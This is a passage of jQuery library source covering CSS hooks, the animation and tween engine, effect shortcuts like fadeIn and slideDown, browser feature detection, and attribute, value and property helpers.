// if setting opacity to 1, and no other filters exist - attempt to remove filter attribute #6652
// if value === "", then remove inline opacity #12685
if ( ( value >= 1 || value === "" ) &&
jQuery.trim( filter.replace( ralpha, "" ) ) === "" &&
style.removeAttribute ) {
// Setting style.filter to null, "" & " " still leave "filter:" in the cssText
// if "filter:" is present at all, clearType is disabled, we want to avoid this
// style.removeAttribute is IE Only, but so apparently is this code path...
style.removeAttribute( "filter" );
// if there is no filter style applied in a css rule or unset inline opacity, we are done
if ( value === "" || currentStyle && !currentStyle.filter ) {
return;
}
}
// otherwise, set new filter values
style.filter = ralpha.test( filter ) ?
filter.replace( ralpha, opacity ) :
filter + " " + opacity;
}
};
}
jQuery.cssHooks.marginRight = addGetHookIf( support.reliableMarginRight,
function( elem, computed ) {
if ( computed ) {
// WebKit Bug 13343 - getComputedStyle returns wrong value for margin-right
// Work around by temporarily setting element display to inline-block
return jQuery.swap( elem, { "display": "inline-block" },
curCSS, [ elem, "marginRight" ] );
}
}
);
// These hooks are used by animate to expand properties
jQuery.each({
margin: "",
padding: "",
border: "Width"
}, function( prefix, suffix ) {
jQuery.cssHooks[ prefix + suffix ] = {
expand: function( value ) {
var i = 0,
expanded = {},
// assumes a single number if not a string
parts = typeof value === "string" ? value.split(" ") : [ value ];
for ( ; i < 4; i++ ) {
expanded[ prefix + cssExpand[ i ] + suffix ] =
parts[ i ] || parts[ i - 2 ] || parts[ 0 ];
}
return expanded;
}
};
if ( !rmargin.test( prefix ) ) {
jQuery.cssHooks[ prefix + suffix ].set = setPositiveNumber;
}
});
jQuery.fn.extend({
css: function( name, value ) {
return access( this, function( elem, name, value ) {
var styles, len,
map = {},
i = 0;
if ( jQuery.isArray( name ) ) {
styles = getStyles( elem );
len = name.length;
for ( ; i < len; i++ ) {
map[ name[ i ] ] = jQuery.css( elem, name[ i ], false, styles );
}
return map;
}
return value !== undefined ?
jQuery.style( elem, name, value ) :
jQuery.css( elem, name );
}, name, value, arguments.length > 1 );
},
show: function() {
return showHide( this, true );
},
hide: function() {
return showHide( this );
},
toggle: function( state ) {
if ( typeof state === "boolean" ) {
return state ? this.show() : this.hide();
}
return this.each(function() {
if ( isHidden( this ) ) {
jQuery( this ).show();
} else {
jQuery( this ).hide();
}
});
}
});
function Tween( elem, options, prop, end, easing ) {
return new Tween.prototype.init( elem, options, prop, end, easing );
}
jQuery.Tween = Tween;
Tween.prototype = {
constructor: Tween,
init: function( elem, options, prop, end, easing, unit ) {
this.elem = elem;
this.prop = prop;
this.easing = easing || "swing";
this.options = options;
this.start = this.now = this.cur();
this.end = end;
this.unit = unit || ( jQuery.cssNumber[ prop ] ? "" : "px" );
},
cur: function() {
var hooks = Tween.propHooks[ this.prop ];
return hooks && hooks.get ?
hooks.get( this ) :
Tween.propHooks._default.get( this );
},
run: function( percent ) {
var eased,
hooks = Tween.propHooks[ this.prop ];
if ( this.options.duration ) {
this.pos = eased = jQuery.easing[ this.easing ](
percent, this.options.duration * percent, 0, 1, this.options.duration
);
} else {
this.pos = eased = percent;
}
this.now = ( this.end - this.start ) * eased + this.start;
if ( this.options.step ) {
this.options.step.call( this.elem, this.now, this );
}
if ( hooks && hooks.set ) {
hooks.set( this );
} else {
Tween.propHooks._default.set( this );
}
return this;
}
};
Tween.prototype.init.prototype = Tween.prototype;
Tween.propHooks = {
_default: {
get: function( tween ) {
var result;
if ( tween.elem[ tween.prop ] != null &&
(!tween.elem.style || tween.elem.style[ tween.prop ] == null) ) {
return tween.elem[ tween.prop ];
}
// passing an empty string as a 3rd parameter to .css will automatically
// attempt a parseFloat and fallback to a string if the parse fails
// so, simple values such as "10px" are parsed to Float.
// complex values such as "rotate(1rad)" are returned as is.
result = jQuery.css( tween.elem, tween.prop, "" );
// Empty strings, null, undefined and "auto" are converted to 0.
return !result || result === "auto" ? 0 : result;
},
set: function( tween ) {
// use step hook for back compat - use cssHook if its there - use .style if its
// available and use plain properties where available
if ( jQuery.fx.step[ tween.prop ] ) {
jQuery.fx.step[ tween.prop ]( tween );
} else if ( tween.elem.style && ( tween.elem.style[ jQuery.cssProps[ tween.prop ] ] != null || jQuery.cssHooks[ tween.prop ] ) ) {
jQuery.style( tween.elem, tween.prop, tween.now + tween.unit );
} else {
tween.elem[ tween.prop ] = tween.now;
}
}
}
};
// Support: IE <=9
// Panic based approach to setting things on disconnected nodes
Tween.propHooks.scrollTop = Tween.propHooks.scrollLeft = {
set: function( tween ) {
if ( tween.elem.nodeType && tween.elem.parentNode ) {
tween.elem[ tween.prop ] = tween.now;
}
}
};
jQuery.easing = {
linear: function( p ) {
return p;
},
swing: function( p ) {
return 0.5 - Math.cos( p * Math.PI ) / 2;
}
};
jQuery.fx = Tween.prototype.init;
// Back Compat <1.8 extension point
jQuery.fx.step = {};
var
fxNow, timerId,
rfxtypes = /^(?:toggle|show|hide)$/,
rfxnum = new RegExp( "^(?:([+-])=|)(" + pnum + ")([a-z%]*)$", "i" ),
rrun = /queueHooks$/,
animationPrefilters = [ defaultPrefilter ],
tweeners = {
"*": [ function( prop, value ) {
var tween = this.createTween( prop, value ),
target = tween.cur(),
parts = rfxnum.exec( value ),
unit = parts && parts[ 3 ] || ( jQuery.cssNumber[ prop ] ? "" : "px" ),
// Starting value computation is required for potential unit mismatches
start = ( jQuery.cssNumber[ prop ] || unit !== "px" && +target ) &&
rfxnum.exec( jQuery.css( tween.elem, prop ) ),
scale = 1,
maxIterations = 20;
if ( start && start[ 3 ] !== unit ) {
// Trust units reported by jQuery.css
unit = unit || start[ 3 ];
// Make sure we update the tween properties later on
parts = parts || [];
// Iteratively approximate from a nonzero starting point
start = +target || 1;
do {
// If previous iteration zeroed out, double until we get *something*
// Use a string for doubling factor so we don't accidentally see scale as unchanged below
scale = scale || ".5";
// Adjust and apply
start = start / scale;
jQuery.style( tween.elem, prop, start + unit );
// Update scale, tolerating zero or NaN from tween.cur()
// And breaking the loop if scale is unchanged or perfect, or if we've just had enough
} while ( scale !== (scale = tween.cur() / target) && scale !== 1 && --maxIterations );
}
// Update tween properties
if ( parts ) {
start = tween.start = +start || +target || 0;
tween.unit = unit;
// If a +=/-= token was provided, we're doing a relative animation
tween.end = parts[ 1 ] ?
start + ( parts[ 1 ] + 1 ) * parts[ 2 ] :
+parts[ 2 ];
}
return tween;
} ]
};
// Animations created synchronously will run synchronously
function createFxNow() {
setTimeout(function() {
fxNow = undefined;
});
return ( fxNow = jQuery.now() );
}
// Generate parameters to create a standard animation
function genFx( type, includeWidth ) {
var which,
attrs = { height: type },
i = 0;
// if we include width, step value is 1 to do all cssExpand values,
// if we don't include width, step value is 2 to skip over Left and Right
includeWidth = includeWidth ? 1 : 0;
for ( ; i < 4 ; i += 2 - includeWidth ) {
which = cssExpand[ i ];
attrs[ "margin" + which ] = attrs[ "padding" + which ] = type;
}
if ( includeWidth ) {
attrs.opacity = attrs.width = type;
}
return attrs;
}
function createTween( value, prop, animation ) {
var tween,
collection = ( tweeners[ prop ] || [] ).concat( tweeners[ "*" ] ),
index = 0,
length = collection.length;
for ( ; index < length; index++ ) {
if ( (tween = collection[ index ].call( animation, prop, value )) ) {
// we're done with this property
return tween;
}
}
}
function defaultPrefilter( elem, props, opts ) {
/* jshint validthis: true */
var prop, value, toggle, tween, hooks, oldfire, display,
anim = this,
orig = {},
style = elem.style,
hidden = elem.nodeType && isHidden( elem ),
dataShow = jQuery._data( elem, "fxshow" );
// handle queue: false promises
if ( !opts.queue ) {
hooks = jQuery._queueHooks( elem, "fx" );
if ( hooks.unqueued == null ) {
hooks.unqueued = 0;
oldfire = hooks.empty.fire;
hooks.empty.fire = function() {
if ( !hooks.unqueued ) {
oldfire();
}
};
}
hooks.unqueued++;
anim.always(function() {
// doing this makes sure that the complete handler will be called
// before this completes
anim.always(function() {
hooks.unqueued--;
if ( !jQuery.queue( elem, "fx" ).length ) {
hooks.empty.fire();
}
});
});
}
// height/width overflow pass
if ( elem.nodeType === 1 && ( "height" in props || "width" in props ) ) {
// Make sure that nothing sneaks out
// Record all 3 overflow attributes because IE does not
// change the overflow attribute when overflowX and
// overflowY are set to the same value
opts.overflow = [ style.overflow, style.overflowX, style.overflowY ];
// Set display property to inline-block for height/width
// animations on inline elements that are having width/height animated
display = jQuery.css( elem, "display" );
// Test default display if display is currently "none"
if ( (display === "none" ? defaultDisplay( elem.nodeName ) : display) === "inline" &&
jQuery.css( elem, "float" ) === "none" ) {
// inline-level elements accept inline-block;
// block-level elements need to be inline with layout
if ( !support.inlineBlockNeedsLayout || defaultDisplay( elem.nodeName ) === "inline" ) {
style.display = "inline-block";
} else {
style.zoom = 1;
}
}
}
if ( opts.overflow ) {
style.overflow = "hidden";
if ( !support.shrinkWrapBlocks() ) {
anim.always(function() {
style.overflow = opts.overflow[ 0 ];
style.overflowX = opts.overflow[ 1 ];
style.overflowY = opts.overflow[ 2 ];
});
}
}
// show/hide pass
for ( prop in props ) {
value = props[ prop ];
if ( rfxtypes.exec( value ) ) {
delete props[ prop ];
toggle = toggle || value === "toggle";
if ( value === ( hidden ? "hide" : "show" ) ) {
// If there is dataShow left over from a stopped hide or show and we are going to proceed with show, we should pretend to be hidden
if ( value === "show" && dataShow && dataShow[ prop ] !== undefined ) {
hidden = true;
} else {
continue;
}
}
orig[ prop ] = dataShow && dataShow[ prop ] || jQuery.style( elem, prop );
// Any non-fx value stops us from restoring the original display value
} else {
display = undefined;
}
}
if ( !jQuery.isEmptyObject( orig ) ) {
if ( dataShow ) {
if ( "hidden" in dataShow ) {
hidden = dataShow.hidden;
}
} else {
dataShow = jQuery._data( elem, "fxshow", {} );
}
// store state if its toggle - enables .stop().toggle() to "reverse"
if ( toggle ) {
dataShow.hidden = !hidden;
}
if ( hidden ) {
jQuery( elem ).show();
} else {
anim.done(function() {
jQuery( elem ).hide();
});
}
anim.done(function() {
var prop;
jQuery._removeData( elem, "fxshow" );
for ( prop in orig ) {
jQuery.style( elem, prop, orig[ prop ] );
}
});
for ( prop in orig ) {
tween = createTween( hidden ? dataShow[ prop ] : 0, prop, anim );
if ( !( prop in dataShow ) ) {
dataShow[ prop ] = tween.start;
if ( hidden ) {
tween.end = tween.start;
tween.start = prop === "width" || prop === "height" ? 1 : 0;
}
}
}
// If this is a noop like .hide().hide(), restore an overwritten display value
} else if ( (display === "none" ? defaultDisplay( elem.nodeName ) : display) === "inline" ) {
style.display = display;
}
}
function propFilter( props, specialEasing ) {
var index, name, easing, value, hooks;
// camelCase, specialEasing and expand cssHook pass
for ( index in props ) {
name = jQuery.camelCase( index );
easing = specialEasing[ name ];
value = props[ index ];
if ( jQuery.isArray( value ) ) {
easing = value[ 1 ];
value = props[ index ] = value[ 0 ];
}
if ( index !== name ) {
props[ name ] = value;
delete props[ index ];
}
hooks = jQuery.cssHooks[ name ];
if ( hooks && "expand" in hooks ) {
value = hooks.expand( value );
delete props[ name ];
// not quite $.extend, this wont overwrite keys already present.
// also - reusing 'index' from above because we have the correct "name"
for ( index in value ) {
if ( !( index in props ) ) {
props[ index ] = value[ index ];
specialEasing[ index ] = easing;
}
}
} else {
specialEasing[ name ] = easing;
}
}
}
function Animation( elem, properties, options ) {
var result,
stopped,
index = 0,
length = animationPrefilters.length,
deferred = jQuery.Deferred().always( function() {
// don't match elem in the :animated selector
delete tick.elem;
}),
tick = function() {
if ( stopped ) {
return false;
}
var currentTime = fxNow || createFxNow(),
remaining = Math.max( 0, animation.startTime + animation.duration - currentTime ),
// archaic crash bug won't allow us to use 1 - ( 0.5 || 0 ) (#12497)
temp = remaining / animation.duration || 0,
percent = 1 - temp,
index = 0,
length = animation.tweens.length;
for ( ; index < length ; index++ ) {
animation.tweens[ index ].run( percent );
}
deferred.notifyWith( elem, [ animation, percent, remaining ]);
if ( percent < 1 && length ) {
return remaining;
} else {
deferred.resolveWith( elem, [ animation ] );
return false;
}
},
animation = deferred.promise({
elem: elem,
props: jQuery.extend( {}, properties ),
opts: jQuery.extend( true, { specialEasing: {} }, options ),
originalProperties: properties,
originalOptions: options,
startTime: fxNow || createFxNow(),
duration: options.duration,
tweens: [],
createTween: function( prop, end ) {
var tween = jQuery.Tween( elem, animation.opts, prop, end,
animation.opts.specialEasing[ prop ] || animation.opts.easing );
animation.tweens.push( tween );
return tween;
},
stop: function( gotoEnd ) {
var index = 0,
// if we are going to the end, we want to run all the tweens
// otherwise we skip this part
length = gotoEnd ? animation.tweens.length : 0;
if ( stopped ) {
return this;
}
stopped = true;
for ( ; index < length ; index++ ) {
animation.tweens[ index ].run( 1 );
}
// resolve when we played the last frame
// otherwise, reject
if ( gotoEnd ) {
deferred.resolveWith( elem, [ animation, gotoEnd ] );
} else {
deferred.rejectWith( elem, [ animation, gotoEnd ] );
}
return this;
}
}),
props = animation.props;
propFilter( props, animation.opts.specialEasing );
for ( ; index < length ; index++ ) {
result = animationPrefilters[ index ].call( animation, elem, props, animation.opts );
if ( result ) {
return result;
}
}
jQuery.map( props, createTween, animation );
if ( jQuery.isFunction( animation.opts.start ) ) {
animation.opts.start.call( elem, animation );
}
jQuery.fx.timer(
jQuery.extend( tick, {
elem: elem,
anim: animation,
queue: animation.opts.queue
})
);
// attach callbacks from options
return animation.progress( animation.opts.progress )
.done( animation.opts.done, animation.opts.complete )
.fail( animation.opts.fail )
.always( animation.opts.always );
}
jQuery.Animation = jQuery.extend( Animation, {
tweener: function( props, callback ) {
if ( jQuery.isFunction( props ) ) {
callback = props;
props = [ "*" ];
} else {
props = props.split(" ");
}
var prop,
index = 0,
length = props.length;
for ( ; index < length ; index++ ) {
prop = props[ index ];
tweeners[ prop ] = tweeners[ prop ] || [];
tweeners[ prop ].unshift( callback );
}
},
prefilter: function( callback, prepend ) {
if ( prepend ) {
animationPrefilters.unshift( callback );
} else {
animationPrefilters.push( callback );
}
}
});
jQuery.speed = function( speed, easing, fn ) {
var opt = speed && typeof speed === "object" ? jQuery.extend( {}, speed ) : {
complete: fn || !fn && easing ||
jQuery.isFunction( speed ) && speed,
duration: speed,
easing: fn && easing || easing && !jQuery.isFunction( easing ) && easing
};
opt.duration = jQuery.fx.off ? 0 : typeof opt.duration === "number" ? opt.duration :
opt.duration in jQuery.fx.speeds ? jQuery.fx.speeds[ opt.duration ] : jQuery.fx.speeds._default;
// normalize opt.queue - true/undefined/null -> "fx"
if ( opt.queue == null || opt.queue === true ) {
opt.queue = "fx";
}
// Queueing
opt.old = opt.complete;
opt.complete = function() {
if ( jQuery.isFunction( opt.old ) ) {
opt.old.call( this );
}
if ( opt.queue ) {
jQuery.dequeue( this, opt.queue );
}
};
return opt;
};
jQuery.fn.extend({
fadeTo: function( speed, to, easing, callback ) {
// show any hidden elements after setting opacity to 0
return this.filter( isHidden ).css( "opacity", 0 ).show()
// animate to the value specified
.end().animate({ opacity: to }, speed, easing, callback );
},
animate: function( prop, speed, easing, callback ) {
var empty = jQuery.isEmptyObject( prop ),
optall = jQuery.speed( speed, easing, callback ),
doAnimation = function() {
// Operate on a copy of prop so per-property easing won't be lost
var anim = Animation( this, jQuery.extend( {}, prop ), optall );
// Empty animations, or finishing resolves immediately
if ( empty || jQuery._data( this, "finish" ) ) {
anim.stop( true );
}
};
doAnimation.finish = doAnimation;
return empty || optall.queue === false ?
this.each( doAnimation ) :
this.queue( optall.queue, doAnimation );
},
stop: function( type, clearQueue, gotoEnd ) {
var stopQueue = function( hooks ) {
var stop = hooks.stop;
delete hooks.stop;
stop( gotoEnd );
};
if ( typeof type !== "string" ) {
gotoEnd = clearQueue;
clearQueue = type;
type = undefined;
}
if ( clearQueue && type !== false ) {
this.queue( type || "fx", [] );
}
return this.each(function() {
var dequeue = true,
index = type != null && type + "queueHooks",
timers = jQuery.timers,
data = jQuery._data( this );
if ( index ) {
if ( data[ index ] && data[ index ].stop ) {
stopQueue( data[ index ] );
}
} else {
for ( index in data ) {
if ( data[ index ] && data[ index ].stop && rrun.test( index ) ) {
stopQueue( data[ index ] );
}
}
}
for ( index = timers.length; index--; ) {
if ( timers[ index ].elem === this && (type == null || timers[ index ].queue === type) ) {
timers[ index ].anim.stop( gotoEnd );
dequeue = false;
timers.splice( index, 1 );
}
}
// start the next in the queue if the last step wasn't forced
// timers currently will call their complete callbacks, which will dequeue
// but only if they were gotoEnd
if ( dequeue || !gotoEnd ) {
jQuery.dequeue( this, type );
}
});
},
finish: function( type ) {
if ( type !== false ) {
type = type || "fx";
}
return this.each(function() {
var index,
data = jQuery._data( this ),
queue = data[ type + "queue" ],
hooks = data[ type + "queueHooks" ],
timers = jQuery.timers,
length = queue ? queue.length : 0;
// enable finishing flag on private data
data.finish = true;
// empty the queue first
jQuery.queue( this, type, [] );
if ( hooks && hooks.stop ) {
hooks.stop.call( this, true );
}
// look for any active animations, and finish them
for ( index = timers.length; index--; ) {
if ( timers[ index ].elem === this && timers[ index ].queue === type ) {
timers[ index ].anim.stop( true );
timers.splice( index, 1 );
}
}
// look for any animations in the old queue and finish them
for ( index = 0; index < length; index++ ) {
if ( queue[ index ] && queue[ index ].finish ) {
queue[ index ].finish.call( this );
}
}
// turn off finishing flag
delete data.finish;
});
}
});
jQuery.each([ "toggle", "show", "hide" ], function( i, name ) {
var cssFn = jQuery.fn[ name ];
jQuery.fn[ name ] = function( speed, easing, callback ) {
return speed == null || typeof speed === "boolean" ?
cssFn.apply( this, arguments ) :
this.animate( genFx( name, true ), speed, easing, callback );
};
});
// Generate shortcuts for custom animations
jQuery.each({
slideDown: genFx("show"),
slideUp: genFx("hide"),
slideToggle: genFx("toggle"),
fadeIn: { opacity: "show" },
fadeOut: { opacity: "hide" },
fadeToggle: { opacity: "toggle" }
}, function( name, props ) {
jQuery.fn[ name ] = function( speed, easing, callback ) {
return this.animate( props, speed, easing, callback );
};
});
jQuery.timers = [];
jQuery.fx.tick = function() {
var timer,
timers = jQuery.timers,
i = 0;
fxNow = jQuery.now();
for ( ; i < timers.length; i++ ) {
timer = timers[ i ];
// Checks the timer has not already been removed
if ( !timer() && timers[ i ] === timer ) {
timers.splice( i--, 1 );
}
}
if ( !timers.length ) {
jQuery.fx.stop();
}
fxNow = undefined;
};
jQuery.fx.timer = function( timer ) {
jQuery.timers.push( timer );
if ( timer() ) {
jQuery.fx.start();
} else {
jQuery.timers.pop();
}
};
jQuery.fx.interval = 13;
jQuery.fx.start = function() {
if ( !timerId ) {
timerId = setInterval( jQuery.fx.tick, jQuery.fx.interval );
}
};
jQuery.fx.stop = function() {
clearInterval( timerId );
timerId = null;
};
jQuery.fx.speeds = {
slow: 600,
fast: 200,
// Default speed
_default: 400
};
// Based off of the plugin by Clint Helfers, with permission.
// http://blindsignals.com/index.php/2009/07/jquery-delay/
jQuery.fn.delay = function( time, type ) {
time = jQuery.fx ? jQuery.fx.speeds[ time ] || time : time;
type = type || "fx";
return this.queue( type, function( next, hooks ) {
var timeout = setTimeout( next, time );
hooks.stop = function() {
clearTimeout( timeout );
};
});
};
(function() {
// Minified: var a,b,c,d,e
var input, div, select, a, opt;
// Setup
div = document.createElement( "div" );
div.setAttribute( "className", "t" );
div.innerHTML = " <link/><table></table><a href='/a'>a</a><input type='checkbox'/>";
a = div.getElementsByTagName("a")[ 0 ];
// First batch of tests.
select = document.createElement("select");
opt = select.appendChild( document.createElement("option") );
input = div.getElementsByTagName("input")[ 0 ];
a.style.cssText = "top:1px";
// Test setAttribute on camelCase class. If it works, we need attrFixes when doing get/setAttribute (ie6/7)
support.getSetAttribute = div.className !== "t";
// Get the style information from getAttribute
// (IE uses .cssText instead)
support.style = /top/.test( a.getAttribute("style") );
// Make sure that URLs aren't manipulated
// (IE normalizes it by default)
support.hrefNormalized = a.getAttribute("href") === "/a";
// Check the default checkbox/radio value ("" on WebKit; "on" elsewhere)
support.checkOn = !!input.value;
// Make sure that a selected-by-default option has a working selected property.
// (WebKit defaults to false instead of true, IE too, if it's in an optgroup)
support.optSelected = opt.selected;
// Tests for enctype support on a form (#6743)
support.enctype = !!document.createElement("form").enctype;
// Make sure that the options inside disabled selects aren't marked as disabled
// (WebKit marks them as disabled)
select.disabled = true;
support.optDisabled = !opt.disabled;
// Support: IE8 only
// Check if we can trust getAttribute("value")
input = document.createElement( "input" );
input.setAttribute( "value", "" );
support.input = input.getAttribute( "value" ) === "";
// Check if an input maintains its value after becoming a radio
input.value = "t";
input.setAttribute( "type", "radio" );
support.radioValue = input.value === "t";
})();
var rreturn = /\r/g;
jQuery.fn.extend({
val: function( value ) {
var hooks, ret, isFunction,
elem = this[0];
if ( !arguments.length ) {
if ( elem ) {
hooks = jQuery.valHooks[ elem.type ] || jQuery.valHooks[ elem.nodeName.toLowerCase() ];
if ( hooks && "get" in hooks && (ret = hooks.get( elem, "value" )) !== undefined ) {
return ret;
}
ret = elem.value;
return typeof ret === "string" ?
// handle most common string cases
ret.replace(rreturn, "") :
// handle cases where value is null/undef or number
ret == null ? "" : ret;
}
return;
}
isFunction = jQuery.isFunction( value );
return this.each(function( i ) {
var val;
if ( this.nodeType !== 1 ) {
return;
}
if ( isFunction ) {
val = value.call( this, i, jQuery( this ).val() );
} else {
val = value;
}
// Treat null/undefined as ""; convert numbers to string
if ( val == null ) {
val = "";
} else if ( typeof val === "number" ) {
val += "";
} else if ( jQuery.isArray( val ) ) {
val = jQuery.map( val, function( value ) {
return value == null ? "" : value + "";
});
}
hooks = jQuery.valHooks[ this.type ] || jQuery.valHooks[ this.nodeName.toLowerCase() ];
// If set returns undefined, fall back to normal setting
if ( !hooks || !("set" in hooks) || hooks.set( this, val, "value" ) === undefined ) {
this.value = val;
}
});
}
});
jQuery.extend({
valHooks: {
option: {
get: function( elem ) {
var val = jQuery.find.attr( elem, "value" );
return val != null ?
val :
// Support: IE10-11+
// option.text throws exceptions (#14686, #14858)
jQuery.trim( jQuery.text( elem ) );
}
},
select: {
get: function( elem ) {
var value, option,
options = elem.options,
index = elem.selectedIndex,
one = elem.type === "select-one" || index < 0,
values = one ? null : [],
max = one ? index + 1 : options.length,
i = index < 0 ?
max :
one ? index : 0;
// Loop through all the selected options
for ( ; i < max; i++ ) {
option = options[ i ];
// oldIE doesn't update selected after form reset (#2551)
if ( ( option.selected || i === index ) &&
// Don't return options that are disabled or in a disabled optgroup
( support.optDisabled ? !option.disabled : option.getAttribute("disabled") === null ) &&
( !option.parentNode.disabled || !jQuery.nodeName( option.parentNode, "optgroup" ) ) ) {
// Get the specific value for the option
value = jQuery( option ).val();
// We don't need an array for one selects
if ( one ) {
return value;
}
// Multi-Selects return an array
values.push( value );
}
}
return values;
},
set: function( elem, value ) {
var optionSet, option,
options = elem.options,
values = jQuery.makeArray( value ),
i = options.length;
while ( i-- ) {
option = options[ i ];
if ( jQuery.inArray( jQuery.valHooks.option.get( option ), values ) >= 0 ) {
// Support: IE6
// When new option element is added to select box we need to
// force reflow of newly added node in order to workaround delay
// of initialization properties
try {
option.selected = optionSet = true;
} catch ( _ ) {
// Will be executed only in IE6
option.scrollHeight;
}
} else {
option.selected = false;
}
}
// Force browsers to behave consistently when non-matching value is set
if ( !optionSet ) {
elem.selectedIndex = -1;
}
return options;
}
}
}
});
// Radios and checkboxes getter/setter
jQuery.each([ "radio", "checkbox" ], function() {
jQuery.valHooks[ this ] = {
set: function( elem, value ) {
if ( jQuery.isArray( value ) ) {
return ( elem.checked = jQuery.inArray( jQuery(elem).val(), value ) >= 0 );
}
}
};
if ( !support.checkOn ) {
jQuery.valHooks[ this ].get = function( elem ) {
// Support: Webkit
// "" is returned instead of "on" if a value isn't specified
return elem.getAttribute("value") === null ? "on" : elem.value;
};
}
});
var nodeHook, boolHook,
attrHandle = jQuery.expr.attrHandle,
ruseDefault = /^(?:checked|selected)$/i,
getSetAttribute = support.getSetAttribute,
getSetInput = support.input;
jQuery.fn.extend({
attr: function( name, value ) {
return access( this, jQuery.attr, name, value, arguments.length > 1 );
},
removeAttr: function( name ) {
return this.each(function() {
jQuery.removeAttr( this, name );
});
}
});
jQuery.extend({
attr: function( elem, name, value ) {
var hooks, ret,
nType = elem.nodeType;
// don't get/set attributes on text, comment and attribute nodes
if ( !elem || nType === 3 || nType === 8 || nType === 2 ) {
return;
}
// Fallback to prop when attributes are not supported
if ( typeof elem.getAttribute === strundefined ) {
return jQuery.prop( elem, name, value );
}
// All attributes are lowercase
// Grab necessary hook if one is defined
if ( nType !== 1 || !jQuery.isXMLDoc( elem ) ) {
name = name.toLowerCase();
hooks = jQuery.attrHooks[ name ] ||
( jQuery.expr.match.bool.test( name ) ? boolHook : nodeHook );
}
if ( value !== undefined ) {
if ( value === null ) {
jQuery.removeAttr( elem, name );
} else if ( hooks && "set" in hooks && (ret = hooks.set( elem, value, name )) !== undefined ) {
return ret;
} else {
elem.setAttribute( name, value + "" );
return value;
}
} else if ( hooks && "get" in hooks && (ret = hooks.get( elem, name )) !== null ) {
return ret;
} else {
ret = jQuery.find.attr( elem, name );
// Non-existent attributes return null, we normalize to undefined
return ret == null ?
undefined :
ret;
}
},
removeAttr: function( elem, value ) {
var name, propName,
i = 0,
attrNames = value && value.match( rnotwhite );
if ( attrNames && elem.nodeType === 1 ) {
while ( (name = attrNames[i++]) ) {
propName = jQuery.propFix[ name ] || name;
// Boolean attributes get special treatment (#10870)
if ( jQuery.expr.match.bool.test( name ) ) {
// Set corresponding property to false
if ( getSetInput && getSetAttribute || !ruseDefault.test( name ) ) {
elem[ propName ] = false;
// Support: IE<9
// Also clear defaultChecked/defaultSelected (if appropriate)
} else {
elem[ jQuery.camelCase( "default-" + name ) ] =
elem[ propName ] = false;
}
// See #9699 for explanation of this approach (setting first, then removal)
} else {
jQuery.attr( elem, name, "" );
}
elem.removeAttribute( getSetAttribute ? name : propName );
}
}
},
attrHooks: {
type: {
set: function( elem, value ) {
if ( !support.radioValue && value === "radio" && jQuery.nodeName(elem, "input") ) {
// Setting the type on a radio button after the value resets the value in IE6-9
// Reset value to default in case type is set after value during creation
var val = elem.value;
elem.setAttribute( "type", value );
if ( val ) {
elem.value = val;
}
return value;
}
}
}
}
});
// Hook for boolean attributes
boolHook = {
set: function( elem, value, name ) {
if ( value === false ) {
// Remove boolean attributes when set to false
jQuery.removeAttr( elem, name );
} else if ( getSetInput && getSetAttribute || !ruseDefault.test( name ) ) {
// IE<8 needs the *property* name
elem.setAttribute( !getSetAttribute && jQuery.propFix[ name ] || name, name );
// Use defaultChecked and defaultSelected for oldIE
} else {
elem[ jQuery.camelCase( "default-" + name ) ] = elem[ name ] = true;
}
return name;
}
};
// Retrieve booleans specially
jQuery.each( jQuery.expr.match.bool.source.match( /\w+/g ), function( i, name ) {
var getter = attrHandle[ name ] || jQuery.find.attr;
attrHandle[ name ] = getSetInput && getSetAttribute || !ruseDefault.test( name ) ?
function( elem, name, isXML ) {
var ret, handle;
if ( !isXML ) {
// Avoid an infinite loop by temporarily removing this function from the getter
handle = attrHandle[ name ];
attrHandle[ name ] = ret;
ret = getter( elem, name, isXML ) != null ?
name.toLowerCase() :
null;
attrHandle[ name ] = handle;
}
return ret;
} :
function( elem, name, isXML ) {
if ( !isXML ) {
return elem[ jQuery.camelCase( "default-" + name ) ] ?
name.toLowerCase() :
null;
}
};
});
// fix oldIE attroperties
if ( !getSetInput || !getSetAttribute ) {
jQuery.attrHooks.value = {
set: function( elem, value, name ) {
if ( jQuery.nodeName( elem, "input" ) ) {
// Does not return so that setAttribute is also used
elem.defaultValue = value;
} else {
// Use nodeHook if defined (#1954); otherwise setAttribute is fine
return nodeHook && nodeHook.set( elem, value, name );
}
}
};
}
// IE6/7 do not support getting/setting some attributes with get/setAttribute
if ( !getSetAttribute ) {
// Use this for any attribute in IE6/7
// This fixes almost every IE6/7 issue
nodeHook = {
set: function( elem, value, name ) {
// Set the existing or create a new attribute node
var ret = elem.getAttributeNode( name );
if ( !ret ) {
elem.setAttributeNode(
(ret = elem.ownerDocument.createAttribute( name ))
);
}
ret.value = value += "";
// Break association with cloned elements by also using setAttribute (#9646)
if ( name === "value" || value === elem.getAttribute( name ) ) {
return value;
}
}
};
// Some attributes are constructed with empty-string values when not defined
attrHandle.id = attrHandle.name = attrHandle.coords =
function( elem, name, isXML ) {
var ret;
if ( !isXML ) {
return (ret = elem.getAttributeNode( name )) && ret.value !== "" ?
ret.value :
null;
}
};
// Fixing value retrieval on a button requires this module
jQuery.valHooks.button = {
get: function( elem, name ) {
var ret = elem.getAttributeNode( name );
if ( ret && ret.specified ) {
return ret.value;
}
},
set: nodeHook.set
};
// Set contenteditable to false on removals(#10429)
// Setting to empty string throws an error as an invalid value
jQuery.attrHooks.contenteditable = {
set: function( elem, value, name ) {
nodeHook.set( elem, value === "" ? false : value, name );
}
};
// Set width and height to auto instead of 0 on empty string( Bug #8150 )
// This is for removals
jQuery.each([ "width", "height" ], function( i, name ) {
jQuery.attrHooks[ name ] = {
set: function( elem, value ) {
if ( value === "" ) {
elem.setAttribute( name, "auto" );
return value;
}
}
};
});
}
if ( !support.style ) {
jQuery.attrHooks.style = {
get: function( elem ) {
// Return undefined in the case of empty string
// Note: IE uppercases css property names, but if we were to .toLowerCase()
// .cssText, that would destroy case senstitivity in URL's, like in "background"
return elem.style.cssText || undefined;
},
set: function( elem, value ) {
return ( elem.style.cssText = value + "" );
}
};
}
var rfocusable = /^(?:input|select|textarea|button|object)$/i,
rclickable = /^(?:a|area)$/i;
jQuery.fn.extend({
prop: function( name, value ) {
return access( this, jQuery.prop, name, value, arguments.length > 1 );
},
removeProp: function( name ) {
name = jQuery.propFix[ name ] || name;
return this.each(function() {
// try/catch handles cases where IE balks (such as removing a property on window)
try {
this[ name ] = undefined;
delete this[ name ];
} catch( e ) {}
});
}
});
jQuery.extend({
propFix: {
"for": "htmlFor",
"class": "className"
},
prop: function( elem, name, value ) {
var ret, hooks, notxml,
nType = elem.nodeType;
